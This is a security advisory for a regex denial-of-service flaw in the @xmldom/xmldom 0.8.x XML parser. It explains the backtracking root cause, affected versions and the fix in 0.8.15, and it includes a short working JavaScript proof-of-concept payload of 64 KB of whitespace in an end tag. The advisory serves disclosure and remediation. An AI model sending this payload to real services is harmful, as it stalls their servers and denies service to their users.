highCVE-2026-83619Sep 8, 2026

CVE-2026-83619: @xmldom/xmldom End-Tag Whitespace ReDoS

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Parsing an XML end tag with a long run of whitespace followed by a non-whitespace character causes the @xmldom/xmldom 0.8.x parser to stall the Node.js event loop for seconds, letting an…

Package@xmldom/xmldom
Ecosystemnpm
Affected>= 0.7.0, <= 0.8.14
Fixed in0.8.15
CVE-2026-83619: @xmldom/xmldom End-Tag Whitespace ReDoS

The problem

In lib/sax.js on the 0.8.x line, the parser trims trailing whitespace from a captured end-tag name with the unanchored global regex /[ \t\n\r]+$/g. The content between </ and > is bounded only by indexOf('>'), so the attacker controls its length directly.

When the input is a whitespace run followed by one non-whitespace character, the regex engine retries from every possible starting position and backtracks quadratically before the $ anchor fails. At 64 KB of whitespace the parse takes roughly 1.4 seconds; at 128 KB it exceeds 5 seconds.

The path is reached by DOMParser.parseFromString under default options, before any validity check, making it unauthenticated and zero-configuration.

Proof of concept

A working proof-of-concept for CVE-2026-83619 in @xmldom/xmldom, with the exact payload below.

javascript
// @xmldom/xmldom 0.8.x (tested 0.8.13, Node 18)
// Time doubles quadratically with each doubling of n:
// n=32768 -> ~361 ms, n=65536 -> ~1452 ms, n=131072 -> ~5761 ms
const { DOMParser } = require('@xmldom/xmldom');
const n = 64 * 1024;
const payload = '<r></' + ' '.repeat(n) + 'x>';
console.time('parse');
new DOMParser().parseFromString(payload, 'text/xml');
console.timeEnd('parse');

The root cause is CWE-1333: the unanchored global regex /[ \t\n\r]+$/g applied to a string of the form <spaces>x forces the engine to attempt a match starting at every character position. Each attempt extends the [\s]+ group to the end of the string and then fails the $ anchor on the trailing non-whitespace character, producing O(n^2) work in the length of the whitespace run.

PR #1072 (commit 3abb0934) fixes this by anchoring the regex so it matches only from the true end of the string, eliminating all backtracking and reducing complexity to O(n). The trimmed output is byte-identical; the fix is non-breaking.

The fix

Upgrade @xmldom/xmldom to **0.8.15** (PR #1072, commit 3abb0934f5a8a84d83a1f9cde0f2bd04c08b2a09). The 0.9.x line is not affected and requires no action. The unscoped xmldom package on npm (latest 0.6.0) is also not affected.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research